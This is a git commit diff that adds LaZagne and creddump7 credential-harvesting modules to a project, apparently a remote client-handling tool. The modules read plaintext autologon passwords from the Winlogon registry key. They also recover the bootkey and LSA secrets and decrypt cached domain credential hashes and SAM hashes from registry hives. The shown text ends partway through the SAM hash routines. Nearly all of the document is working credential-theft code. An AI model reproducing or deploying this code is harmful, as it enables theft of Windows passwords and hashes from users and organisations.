diff options
author | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 11:01:49 +0200 |
---|---|---|
committer | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 11:01:49 +0200 |
commit | 20dbeb2f38684c65ff0a4b99012c161295708e88 (patch) | |
tree | a5b8445f55da2fbbb92443b68e9d7354a290c598 /foreign/client_handling/lazagne/softwares/windows |
Diffstat (limited to 'foreign/client_handling/lazagne/softwares/windows')
21 files changed, 1827 insertions, 0 deletions
diff --git a/foreign/client_handling/lazagne/softwares/windows/__init__.py b/foreign/client_handling/lazagne/softwares/windows/__init__.py new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/windows/__init__.py diff --git a/foreign/client_handling/lazagne/softwares/windows/autologon.py b/foreign/client_handling/lazagne/softwares/windows/autologon.py new file mode 100644 index 0000000..fb79561 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/windows/autologon.py @@ -0,0 +1,50 @@ +# -*- coding: utf-8 -*- +try: + import _winreg as winreg +except ImportError: + import winreg + +from foreign.client_handling.lazagne.config.module_info import ModuleInfo +from foreign.client_handling.lazagne.config.winstructure import * + +# Password are stored in cleartext on old system (< 2008 R2 and < Win7) +# If enabled on recent system, the password should be visible on the lsa secrets dump (check lsa module output) + + +class Autologon(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'autologon', 'windows', registry_used=True, system_module=True) + + def run(self): + pwd_found = [] + try: + hkey = OpenKey(HKEY_LOCAL_MACHINE, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon') + if int(winreg.QueryValueEx(hkey, 'AutoAdminLogon')[0]) == 1: + self.debug(u'Autologin enabled') + + keys = { + 'DefaultDomainName': '', + 'DefaultUserName': '', + 'DefaultPassword': '', + 'AltDefaultDomainName': '', + 'AltDefaultUserName': '', + 'AltDefaultPassword': '', + } + + to_remove = [] + for k in keys: + try: + keys[k] = str(winreg.QueryValueEx(hkey, k)[0]) + except Exception: + to_remove.append(k) + + for r in to_remove: + keys.pop(r) + + if keys: + pwd_found.append(keys) + + except Exception as e: + self.debug(str(e)) + + return pwd_found diff --git a/foreign/client_handling/lazagne/softwares/windows/cachedump.py b/foreign/client_handling/lazagne/softwares/windows/cachedump.py new file mode 100644 index 0000000..4e9564e --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/windows/cachedump.py @@ -0,0 +1,19 @@ +# -*- coding: utf-8 -*- +from .creddump7.win32.domcachedump import dump_file_hashes +from foreign.client_handling.lazagne.config.module_info import ModuleInfo +from foreign.client_handling.lazagne.config.winstructure import get_os_version +from foreign.client_handling.lazagne.config.constant import constant + + +class Cachedump(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'mscache', 'windows', system_module=True) + + def run(self): + is_vista_or_higher = False + if float(get_os_version()) >= 6.0: + is_vista_or_higher = True + + mscache = dump_file_hashes(constant.hives['system'], constant.hives['security'], is_vista_or_higher) + if mscache: + return ['__MSCache__', mscache] diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/__init__.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/__init__.py new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/__init__.py diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/addrspace.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/addrspace.py new file mode 100644 index 0000000..9b63a6c --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/addrspace.py @@ -0,0 +1,144 @@ +# Volatility +# Copyright (C) 2007 Volatile Systems +# +# Original Source: +# Copyright (C) 2004,2005,2006 4tphi Research +# Author: {npetroni,awalters}@4tphi.net (Nick Petroni and AAron Walters) +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or (at +# your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +# + +""" +@author: AAron Walters +@license: GNU General Public License 2.0 or later +@contact: awalters@volatilesystems.com +@organization: Volatile Systems +""" + +""" Alias for all address spaces """ + +import os +import struct + + +class FileAddressSpace: + def __init__(self, fname, mode='rb', fast=False): + self.fname = fname + self.name = fname + self.fhandle = open(fname, mode) + self.fsize = os.path.getsize(fname) + + if fast: + self.fast_fhandle = open(fname, mode) + + def fread(self, len): + return self.fast_fhandle.read(len) + + def read(self, addr, len): + self.fhandle.seek(addr) + return self.fhandle.read(len) + + def read_long(self, addr): + string = self.read(addr, 4) + (longval,) = struct.unpack('L', string) + return longval + + def get_address_range(self): + return [0, self.fsize - 1] + + def get_available_addresses(self): + return [self.get_address_range()] + + def is_valid_address(self, addr): + return addr < self.fsize - 1 + + def close(self): + self.fhandle.close() + + +# Code below written by Brendan Dolan-Gavitt + +BLOCK_SIZE = 0x1000 + + +class HiveFileAddressSpace: + def __init__(self, fname): + self.fname = fname + self.base = FileAddressSpace(fname) + + def vtop(self, vaddr): + return vaddr + BLOCK_SIZE + 4 + + def read(self, vaddr, length, zero=False): + first_block = BLOCK_SIZE - vaddr % BLOCK_SIZE + full_blocks = ((length + (vaddr % BLOCK_SIZE)) / BLOCK_SIZE) - 1 + left_over = (length + vaddr) % BLOCK_SIZE + + paddr = self.vtop(vaddr) + if not paddr and zero: + if length < first_block: + return "\0" * length + else: + stuff_read = "\0" * first_block + elif not paddr: + return None + else: + if length < first_block: + stuff_read = self.base.read(paddr, length) + if not stuff_read and zero: + return "\0" * length + else: + return stuff_read + + stuff_read = self.base.read(paddr, first_block) + if not stuff_read and zero: + stuff_read = "\0" * first_block + + new_vaddr = vaddr + first_block + for i in range(0, full_blocks): + paddr = self.vtop(new_vaddr) + if not paddr and zero: + stuff_read = stuff_read + "\0" * BLOCK_SIZE + elif not paddr: + return None + else: + new_stuff = self.base.read(paddr, BLOCK_SIZE) + if not new_stuff and zero: + new_stuff = "\0" * BLOCK_SIZE + elif not new_stuff: + return None + else: + stuff_read = stuff_read + new_stuff + new_vaddr = new_vaddr + BLOCK_SIZE + + if left_over > 0: + paddr = self.vtop(new_vaddr) + if not paddr and zero: + stuff_read = stuff_read + "\0" * left_over + elif not paddr: + return None + else: + stuff_read = stuff_read + self.base.read(paddr, left_over) + return stuff_read + + def read_long_phys(self, addr): + string = self.base.read(addr, 4) + (longval,) = struct.unpack('L', string) + return longval + + def is_valid_address(self, vaddr): + paddr = self.vtop(vaddr) + if not paddr: return False + return self.base.is_valid_address(paddr) diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/newobj.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/newobj.py new file mode 100644 index 0000000..05d4b09 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/newobj.py @@ -0,0 +1,315 @@ +# This file is part of creddump. +# +# creddump is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# creddump is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with creddump. If not, see <http://www.gnu.org/licenses/>. + +""" +@author: Brendan Dolan-Gavitt +@license: GNU General Public License 2.0 or later +@contact: bdolangavitt@wesleyan.edu +""" + +from .object import * +from .types import regtypes as types +from operator import itemgetter +from struct import unpack + + +def get_ptr_type(structure, member): + """Return the type a pointer points to. + + Arguments: + structure : the name of the structure from vtypes + member : a list of members + + Example: + get_ptr_type('_EPROCESS', ['ActiveProcessLinks', 'Flink']) => ['_LIST_ENTRY'] + """ + if len(member) > 1: + _, tp = get_obj_offset(types, [structure, member[0]]) + if tp == 'array': + return types[structure][1][member[0]][1][2][1] + else: + return get_ptr_type(tp, member[1:]) + else: + return types[structure][1][member[0]][1][1] + + +class Obj(object): + """Base class for all objects. + + May return a subclass for certain data types to allow + for special handling. + """ + + def __new__(typ, name, address, space): + if name in globals(): + # This is a bit of "magic" + # Could be replaced with a dict mapping type names to types + return globals()[name](name,address,space) + elif name in builtin_types: + return Primitive(name, address, space) + else: + obj = object.__new__(typ) + return obj + + def __init__(self, name, address, space): + self.name = name + self.address = address + self.space = space + + # Subclasses can add fields to this list if they want them + # to show up in values() or members(), even if they do not + # appear in the vtype definition + self.extra_members = [] + + def __getattribute__(self, attr): + try: + return object.__getattribute__(self, attr) + except AttributeError: + pass + + if self.name in builtin_types: + raise AttributeError("Primitive types have no dynamic attributes") + + try: + off, tp = get_obj_offset(types, [self.name, attr]) + except Exception: + raise AttributeError("'%s' has no attribute '%s'" % (self.name, attr)) + + if tp == 'array': + a_len = types[self.name][1][attr][1][1] + l = [] + for i in range(a_len): + a_off, a_tp = get_obj_offset(types, [self.name, attr, i]) + if a_tp == 'pointer': + ptp = get_ptr_type(self.name, [attr, i]) + l.append(Pointer(a_tp, self.address+a_off, self.space, ptp)) + else: + l.append(Obj(a_tp, self.address+a_off, self.space)) + return l + elif tp == 'pointer': + # Can't just return a Obj here, since pointers need to also + # know what type they point to. + ptp = get_ptr_type(self.name, [attr]) + return Pointer(tp, self.address+off, self.space, ptp) + else: + return Obj(tp, self.address+off, self.space) + + def __truediv__(self, other): + if isinstance(other, (tuple, list)): + return Pointer(other[0], self.address, self.space, other[1]) + elif isinstance(other, str): + return Obj(other, self.address, self.space) + else: + raise ValueError("Must provide a type name as string for casting") + + def __div__(self, other): + if isinstance(other, tuple) or isinstance(other, list): + return Pointer(other[0], self.address, self.space, other[1]) + elif isinstance(other, str): + return Obj(other, self.address, self.space) + else: + raise ValueError("Must provide a type name as string for casting") + + def members(self): + """Return a list of this object's members, sorted by offset.""" + + # Could also just return the list + membs = [(k, v[0]) for k,v in types[self.name][1].items()] + membs.sort(key=itemgetter(1)) + return map(itemgetter(0),membs) + self.extra_members + + def values(self): + """Return a dictionary of this object's members and their values""" + + valdict = {} + for k in self.members(): + valdict[k] = getattr(self, k) + return valdict + + def bytes(self, length=-1): + """Get bytes starting at the address of this object. + + Arguments: + length : the number of bytes to read. Default: size of + this object. + """ + + if length == -1: + length = self.size() + return self.space.read(self.address, length) + + def size(self): + """Get the size of this object.""" + + if self.name in builtin_types: + return builtin_types[self.name][0] + else: + return types[self.name][0] + + def __repr__(self): + return "<%s @%08x>" % (self.name, self.address) + + def __eq__(self, other): + if not isinstance(other, Obj): + raise TypeError("Types are incomparable") + return self.address == other.address and self.name == other.name + + def __ne__(self, other): + return not self.__eq__(other) + + def __hash__(self): + return hash(self.address) ^ hash(self.name) + + def is_valid(self): + return self.space.is_valid_address(self.address) + + def get_offset(self, member): + return get_obj_offset(types, [self.name] + member) + + +class Primitive(Obj): + """Class to represent a primitive data type. + + Attributes: + value : the python primitive value of this type + """ + + def __new__(typ, *args, **kwargs): + obj = object.__new__(typ) + return obj + + def __init__(self, name, address, space): + super(Primitive, self).__init__(name, address, space) + length, fmt = builtin_types[name] + data = space.read(address, length) + if not data: + self.value = None + else: + self.value = unpack(fmt,data)[0] + + def __repr__(self): + return repr(self.value) + + def members(self): + return [] + + +class Pointer(Obj): + """Class to represent pointers. + + value : the object pointed to + + If an attribute is not found in this instance, + the attribute will be looked up in the referenced + object.""" + + def __new__(typ, *args, **kwargs): + obj = object.__new__(typ) + return obj + + def __init__(self, name, address, space, ptr_type): + super(Pointer, self).__init__(name, address, space) + ptr_address = read_value(space, name, address) + if ptr_type[0] == 'pointer': + self.value = Pointer(ptr_type[0], ptr_address, self.space, ptr_type[1]) + else: + self.value = Obj(ptr_type[0], ptr_address, self.space) + + def __getattribute__(self, attr): + # It's still nice to be able to access things through pointers + # without having to explicitly dereference them, so if we don't + # find an attribute via our superclass, just dereference the pointer + # and return the attribute in the pointed-to type. + try: + return super(Pointer, self).__getattribute__(attr) + except AttributeError: + return getattr(self.value, attr) + + def __repr__(self): + return "<pointer to [%s @%08x]>" % (self.value.name, self.value.address) + + def members(self): + return self.value.members() + + +class _UNICODE_STRING(Obj): + """Class representing a _UNICODE_STRING + + Adds the following behavior: + * The Buffer attribute is presented as a Python string rather + than a pointer to an unsigned short. + * The __str__ method returns the value of the Buffer. + """ + + def __new__(typ, *args, **kwargs): + obj = object.__new__(typ) + return obj + + def __str__(self): + return self.Buffer + + # Custom Attributes + def getBuffer(self): + return read_unicode_string(self.space, types, [], self.address) + Buffer = property(fget=getBuffer) + + +class _CM_KEY_NODE(Obj): + def __new__(typ, *args, **kwargs): + obj = object.__new__(typ) + return obj + + def getName(self): + return read_string(self.space, types, ['_CM_KEY_NODE', 'Name'], self.address, self.NameLength.value) + Name = property(fget=getName) + + +class _CM_KEY_VALUE(Obj): + def __new__(typ, *args, **kwargs): + obj = object.__new__(typ) + return obj + + def getName(self): + return read_string(self.space, types, ['_CM_KEY_VALUE', 'Name'], self.address, self.NameLength.value) + Name = property(fget=getName) + + +class _CHILD_LIST(Obj): + def __new__(typ, *args, **kwargs): + obj = object.__new__(typ) + return obj + + def getList(self): + lst = [] + list_address = read_obj(self.space, types, ['_CHILD_LIST', 'List'], self.address) + for i in range(self.Count.value): + lst.append(Pointer("pointer", list_address+(i*4), self.space, ["_CM_KEY_VALUE"])) + return lst + List = property(fget=getList) + + +class _CM_KEY_INDEX(Obj): + def __new__(typ, *args, **kwargs): + obj = object.__new__(typ) + return obj + + def getList(self): + lst = [] + for i in range(self.Count.value): + # we are ignoring the hash value here + off, tp = get_obj_offset(types, ['_CM_KEY_INDEX', 'List', i*2]) + lst.append(Pointer("pointer", self.address+off, self.space, ["_CM_KEY_NODE"])) + return lst + List = property(fget=getList) diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/object.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/object.py new file mode 100644 index 0000000..d2fa04b --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/object.py @@ -0,0 +1,179 @@ +# Volatools Basic +# Copyright (C) 2007 Komoku, Inc. +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or (at +# your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +# + +""" +@author: AAron Walters and Nick Petroni +@license: GNU General Public License 2.0 or later +@contact: awalters@komoku.com, npetroni@komoku.com +@organization: Komoku, Inc. +""" + +import struct + +builtin_types = { + 'int': (4, 'i'), + 'long': (4, 'i'), + 'unsigned long': (4, 'I'), + 'unsigned int': (4, 'I'), + 'address': (4, 'I'), + 'char': (1, 'c'), + 'unsigned char': (1, 'B'), + 'unsigned short': (2, 'H'), + 'short': (2, 'h'), + 'long long': (8, 'q'), + 'unsigned long long': (8, 'Q'), + 'pointer': (4, 'I'), +} + + +def obj_size(types, objname): + if objname not in types: + raise Exception('Invalid type %s not in types' % objname) + + return types[objname][0] + + +def builtin_size(builtin): + if builtin not in builtin_types: + raise Exception('Invalid built-in type %s' % builtin) + + return builtin_types[builtin][0] + + +def read_value(addr_space, value_type, vaddr): + """ + Read the low-level value for a built-in type. + """ + + if value_type not in builtin_types: + raise Exception('Invalid built-in type %s' % value_type) + + type_unpack_char = builtin_types[value_type][1] + type_size = builtin_types[value_type][0] + + buf = addr_space.read(vaddr, type_size) + if buf is None: + return None + + try: + (val,) = struct.unpack(type_unpack_char, buf) + except Exception: + return None + + return val + + +def read_unicode_string(addr_space, types, member_list, vaddr): + offset = 0 + if len(member_list) > 1: + (offset, current_type) = get_obj_offset(types, member_list) + + buf = read_obj(addr_space, types, ['_UNICODE_STRING', 'Buffer'], vaddr + offset) + length = read_obj(addr_space, types, ['_UNICODE_STRING', 'Length'], vaddr + offset) + + if length == 0x0: + return "" + + if buf is None or length is None: + return None + + readBuf = read_string(addr_space, types, ['char'], buf, length) + + if readBuf is None: + return None + + try: + readBuf = readBuf.decode('UTF-16').encode('ascii') + except Exception: + return None + + return readBuf + + +def read_string(addr_space, types, member_list, vaddr, max_length=256): + offset = 0 + if len(member_list) > 1: + (offset, current_type) = get_obj_offset(types, member_list) + + val = addr_space.read(vaddr + offset, max_length) + + return val + + +def read_null_string(addr_space, types, member_list, vaddr, max_length=256): + string = read_string(addr_space, types, member_list, vaddr, max_length) + + if string is None: + return None + + if string.find('\0') == -1: + return string + (string, none) = string.split('\0', 1) + return string + + +def get_obj_offset(types, member_list): + """ + Returns the (offset, type) pair for a given list + """ + member_list.reverse() + + current_type = member_list.pop() + + offset = 0 + current_member = 0 + member_dict = None + + while len(member_list) > 0: + if current_type == 'array': + if member_dict: + current_type = member_dict[current_member][1][2][0] + if current_type in builtin_types: + current_type_size = builtin_size(current_type) + else: + current_type_size = obj_size(types, current_type) + index = member_list.pop() + offset += index * current_type_size + continue + + elif current_type not in types: + raise Exception('Invalid type ' + current_type) + + member_dict = types[current_type][1] + + current_member = member_list.pop() + if current_member not in member_dict: + raise Exception('Invalid member %s in type %s' % (current_member, current_type)) + + offset += member_dict[current_member][0] + + current_type = member_dict[current_member][1][0] + + return offset, current_type + + +def read_obj(addr_space, types, member_list, vaddr): + """ + Read the low-level value for some complex type's member. + The type must have members. + """ + if len(member_list) < 2: + raise Exception('Invalid type/member ' + str(member_list)) + + (offset, current_type) = get_obj_offset(types, member_list) + return read_value(addr_space, current_type, vaddr + offset) diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/types.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/types.py new file mode 100644 index 0000000..8ad79a6 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/types.py @@ -0,0 +1,63 @@ +# This file is part of creddump. +# +# creddump is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# creddump is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with creddump. If not, see <http://www.gnu.org/licenses/>. + +""" +@author: Brendan Dolan-Gavitt +@license: GNU General Public License 2.0 or later +@contact: bdolangavitt@wesleyan.edu +""" + +regtypes = { + '_CM_KEY_VALUE': [0x18, { + 'Signature': [0x0, ['unsigned short']], + 'NameLength': [0x2, ['unsigned short']], + 'DataLength': [0x4, ['unsigned long']], + 'Data': [0x8, ['unsigned long']], + 'Type': [0xc, ['unsigned long']], + 'Flags': [0x10, ['unsigned short']], + 'Spare': [0x12, ['unsigned short']], + 'Name': [0x14, ['array', 1, ['unsigned short']]], + }], + '_CM_KEY_NODE': [0x50, { + 'Signature': [0x0, ['unsigned short']], + 'Flags': [0x2, ['unsigned short']], + 'LastWriteTime': [0x4, ['_LARGE_INTEGER']], + 'Spare': [0xc, ['unsigned long']], + 'Parent': [0x10, ['unsigned long']], + 'SubKeyCounts': [0x14, ['array', 2, ['unsigned long']]], + 'SubKeyLists': [0x1c, ['array', 2, ['unsigned long']]], + 'ValueList': [0x24, ['_CHILD_LIST']], + 'ChildHiveReference': [0x1c, ['_CM_KEY_REFERENCE']], + 'Security': [0x2c, ['unsigned long']], + 'Class': [0x30, ['unsigned long']], + 'MaxNameLen': [0x34, ['unsigned long']], + 'MaxClassLen': [0x38, ['unsigned long']], + 'MaxValueNameLen': [0x3c, ['unsigned long']], + 'MaxValueDataLen': [0x40, ['unsigned long']], + 'WorkVar': [0x44, ['unsigned long']], + 'NameLength': [0x48, ['unsigned short']], + 'ClassLength': [0x4a, ['unsigned short']], + 'Name': [0x4c, ['array', 1, ['unsigned short']]], + }], + '_CM_KEY_INDEX': [0x8, { + 'Signature': [0x0, ['unsigned short']], + 'Count': [0x2, ['unsigned short']], + 'List': [0x4, ['array', 1, ['unsigned long']]], + }], + '_CHILD_LIST': [0x8, { + 'Count': [0x0, ['unsigned long']], + 'List': [0x4, ['unsigned long']], + }], +} diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/__init__.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/__init__.py new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/__init__.py diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/domcachedump.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/domcachedump.py new file mode 100644 index 0000000..983c81a --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/domcachedump.py @@ -0,0 +1,146 @@ +# This file is part of creddump. +# +# creddump is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# creddump is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with creddump. If not, see <http://www.gnu.org/licenses/>. + +""" +@author: Brendan Dolan-Gavitt +@license: GNU General Public License 2.0 or later +@contact: bdolangavitt@wesleyan.edu +""" + +import hmac +import hashlib + +from .rawreg import * +from ..addrspace import HiveFileAddressSpace +from .hashdump import get_bootkey +from .lsasecrets import get_secret_by_name, get_lsa_key +from struct import unpack + +from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC +from foreign.client_handling.lazagne.config.crypto.rc4 import RC4 + +AES_BLOCK_SIZE = 16 + + +def get_nlkm(secaddr, lsakey, vista): + return get_secret_by_name(secaddr, 'NL$KM', lsakey, vista) + + +def decrypt_hash(edata, nlkm, ch): + hmac_md5 = hmac.new(nlkm, ch, hashlib.md5) + rc4key = hmac_md5.digest() + + rc4 = RC4(rc4key) + data = rc4.encrypt(edata) + return data + + +def decrypt_hash_vista(edata, nlkm, ch): + """ + Based on code from http://lab.mediaservice.net/code/cachedump.rb + """ + aes = AESModeOfOperationCBC(nlkm[16:32], iv=ch) + + out = "" + for i in range(0, len(edata), 16): + buf = edata[i:i+16] + if len(buf) < 16: + buf += (16 - len(buf)) * "\00" + out += b"".join([aes.decrypt(buf[i:i + AES_BLOCK_SIZE]) for i in range(0, len(buf), AES_BLOCK_SIZE)]) + return out + + +def parse_cache_entry(cache_data): + (uname_len, domain_len) = unpack("<HH", cache_data[:4]) + (domain_name_len,) = unpack("<H", cache_data[60:62]) + ch = cache_data[64:80] + enc_data = cache_data[96:] + return uname_len, domain_len, domain_name_len, enc_data, ch + + +def parse_decrypted_cache(dec_data, uname_len, domain_len, domain_name_len): + uname_off = 72 + pad = 2 * ((uname_len / 2) % 2) + domain_off = uname_off + uname_len + pad + pad = 2 * ((domain_len / 2) % 2) + domain_name_off = domain_off + domain_len + pad + + data_hash = dec_data[:0x10] + + username = dec_data[uname_off:uname_off+uname_len] + username = username.decode('utf-16-le', errors='ignore') + + domain = dec_data[domain_off:domain_off+domain_len] + domain = domain.decode('utf-16-le', errors='ignore') + + domain_name = dec_data[domain_name_off:domain_name_off+domain_name_len] + domain_name = domain_name.decode('utf-16-le', errors='ignore') + + return username, domain, domain_name, data_hash + + +def dump_hashes(sysaddr, secaddr, vista): + bootkey = get_bootkey(sysaddr) + if not bootkey: + return [] + + lsakey = get_lsa_key(secaddr, bootkey, vista) + if not lsakey: + return [] + + nlkm = get_nlkm(secaddr, lsakey, vista) + if not nlkm: + return [] + + root = get_root(secaddr) + if not root: + return [] + + cache = open_key(root, ["Cache"]) + if not cache: + return [] + + hashes = [] + for v in values(cache): + if v.Name == "NL$Control": + continue + + data = v.space.read(v.Data.value, v.DataLength.value) + + (uname_len, domain_len, domain_name_len, enc_data, ch) = parse_cache_entry(data) + + # Skip if nothing in this cache entry + if uname_len == 0: + continue + + if vista: + dec_data = decrypt_hash_vista(enc_data, nlkm, ch) + else: + dec_data = decrypt_hash(enc_data, nlkm, ch) + + (username, domain, domain_name, hash) = parse_decrypted_cache(dec_data, uname_len, domain_len, domain_name_len) + hashes.append((username, domain, domain_name, hash)) + + return hashes + + +def dump_file_hashes(syshive_fname, sechive_fname, vista): + sysaddr = HiveFileAddressSpace(syshive_fname) + secaddr = HiveFileAddressSpace(sechive_fname) + + results = [] + for (u, d, dn, hash) in dump_hashes(sysaddr, secaddr, vista): + results.append("%s:%s:%s:%s" % (u.lower(), hash.encode('hex'), d.lower(), dn.lower())) + return results diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/hashdump.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/hashdump.py new file mode 100644 index 0000000..02a8e58 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/hashdump.py @@ -0,0 +1,298 @@ +# This file is part of creddump. +# +# creddump is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# creddump is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with creddump. If not, see <http://www.gnu.org/licenses/>. + +""" +@author: Brendan Dolan-Gavitt +@license: GNU General Public License 2.0 or later +@contact: bdolangavitt@wesleyan.edu +""" + +import hashlib +import codecs +from struct import pack + +from ..addrspace import HiveFileAddressSpace +from .rawreg import * +from foreign.client_handling.lazagne.config.crypto.rc4 import RC4 +from foreign.client_handling.lazagne.config.crypto.pyDes import des, ECB +from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC +from foreign.client_handling.lazagne.config.winstructure import char_to_int, chr_or_byte, int_or_bytes + + +odd_parity = [ + 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, + 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, + 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, + 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, + 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, + 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, + 97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107, 107, 109, 109, 110, 110, + 112, 112, 115, 115, 117, 117, 118, 118, 121, 121, 122, 122, 124, 124, 127, 127, + 128, 128, 131, 131, 133, 133, 134, 134, 137, 137, 138, 138, 140, 140, 143, 143, + 145, 145, 146, 146, 148, 148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158, + 161, 161, 162, 162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174, + 176, 176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191, 191, + 193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205, 205, 206, 206, + 208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218, 218, 220, 220, 223, 223, + 224, 224, 227, 227, 229, 229, 230, 230, 233, 233, 234, 234, 236, 236, 239, 239, + 241, 241, 242, 242, 244, 244, 247, 247, 248, 248, 251, 251, 253, 253, 254, 254 +] + +# Permutation matrix for boot key +p = [0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, + 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7] + +# Constants for SAM decrypt algorithm +aqwerty = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0" +anum = b"0123456789012345678901234567890123456789\0" +antpassword = b"NTPASSWORD\0" +almpassword = b"LMPASSWORD\0" + +empty_lm = codecs.decode('aad3b435b51404eeaad3b435b51404ee', 'hex') +empty_nt = codecs.decode('31d6cfe0d16ae931b73c59d7e0c089c0', 'hex') + +AES_BLOCK_SIZE = 16 + + +def str_to_key(s): + key = [] + key.append(char_to_int(s[0]) >> 1) + key.append(((char_to_int(s[0]) & 0x01) << 6) | (char_to_int(s[1]) >> 2)) + key.append(((char_to_int(s[1]) & 0x03) << 5) | (char_to_int(s[2]) >> 3)) + key.append(((char_to_int(s[2]) & 0x07) << 4) | (char_to_int(s[3]) >> 4)) + key.append(((char_to_int(s[3]) & 0x0F) << 3) | (char_to_int(s[4]) >> 5)) + key.append(((char_to_int(s[4]) & 0x1F) << 2) | (char_to_int(s[5]) >> 6)) + key.append(((char_to_int(s[5]) & 0x3F) << 1) | (char_to_int(s[6]) >> 7)) + key.append(char_to_int(s[6]) & 0x7F) + + for i in range(8): + key[i] = (key[i] << 1) + key[i] = odd_parity[key[i]] + + return b"".join(chr_or_byte(k) for k in key) + + +def sid_to_key(sid): + s1 = b"" + s1 += chr_or_byte(sid & 0xFF) + s1 += chr_or_byte((sid >> 8) & 0xFF) + s1 += chr_or_byte((sid >> 16) & 0xFF) + s1 += chr_or_byte((sid >> 24) & 0xFF) + s1 += int_or_bytes(s1[0]) + s1 += int_or_bytes(s1[1]) + s1 += int_or_bytes(s1[2]) + s2 = int_or_bytes(s1[3]) + 